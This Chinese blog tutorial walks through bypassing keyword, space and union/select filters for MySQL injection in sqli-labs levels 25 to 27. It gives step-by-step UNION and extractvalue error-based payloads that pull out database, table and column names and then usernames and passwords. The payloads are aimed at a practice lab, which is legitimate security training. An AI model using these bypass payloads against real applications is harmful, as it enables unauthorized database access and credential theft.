首页 > 数据库 >MySQL注入的几种绕过方式

MySQL注入的几种绕过方式

时间:2022-10-05 04:33:35浏览次数:58  
标签:group 几种 MySQL id table 绕过 payload concat schema

        在平时进行MySQL注入的过程当中,有时会遇到过滤关键字的情况,这篇文章就介绍绕过几种过滤关键字的方式。

        绕过过滤and和or

        打开sqli的第25关,看一下源代码

 

 可以看出将AND和or过滤成了空格,不过可以通过双写绕过获取数据。

1.判断注入点,输入一个单引号发现报错可以判断出是一个注入点

 

 2.判断列数,由于过滤掉了or,所以order by要写成oorrder by,order by 4页面显示不正常,order by 3 页面显示正常,可以判断出列名是3

 

 

 3.判断回显点,payload如下:

id=-1' union select 1,2,3 --+

 

 4.获取数据库名,payload如下:

id=-1' union select 1,database(),3 --+

 

 5.获取表名,payload如下:

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema="security"--+

 

 6.获取列名(字段名),payload如下:

-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+

 

 7.获取数据,payload如下:

?id=-1' union select 1,group_concat(username,0x5c,passwoorrd),3 from users --+

 

 至此,已经获取所需要的数据

 

         绕过过滤空格

         打开sqli的第26关,看一下源代码,可以看出把空格和注释符等都过滤了

 

 1.先判断注入点,输入?id=1 and 1=2看到的账号是admin3,再输入?id=1 and 1=1,发现也是一样的,不是数值型,可知是字符型注入

 

 

 

 2.这一关由于过滤了一些关键字,所以选择用报错注入进行获取数据,注释符可以用;%00代替,因为&&在url中具有特殊含义,需要先进行url编码成%26%26

获取数据库名,payload如下:

?id=1'%26%26extractvalue(1,concat(0x7e,database(),0x7e));%00

 

 获取表名,payload如下:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e));%00

 

 获取列名(字段名),payload如下:

?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name='users')),0x7e));%00

 

 获取数据,payload如下:

?id=1'%26%26extractvalue(1,concat(0x7e,(select (group_concat(username))from(users)),0x7e));%00

 

 

已经可以获取到想要的数据。

 

      绕过过滤union和select

      打开sqli的第27关,看一下源代码,可以看到把select和union过滤了

 

 通过26关一样的方法可以判断这是一个数字型注入

1.判断列数,可知列数为3

 

 

 

 

 2.判断回显点,payload如下:

?id=0'%0AunioN%0AselecT%0A1,2,3;%00                           值得注意的是,输入id=-1会显示id=1的结果,猜测是因为把-当作注释过滤了

 

 3.获取数据库名,payload如下:

?id=0'%0AunioN%0AselecT%0A1,database(),3;%00

 

 4.获取表名,payload如下:

?id=0' %0A unioN %0A selecT %0A 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

 

 5.获取列名,payload如下:

?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

 

 

6.获取数据,payload如下:

?id=0' %0A unioN %0A selecT %0A 1,(group_concat(username)),(group_concat(password)) from (users);%00

 

 

 

 

 

 

 

 

 

 

 

 

 

 

标签:group,几种,MySQL,id,table,绕过,payload,concat,schema
From: https://www.cnblogs.com/yunque01/p/16749229.html

相关文章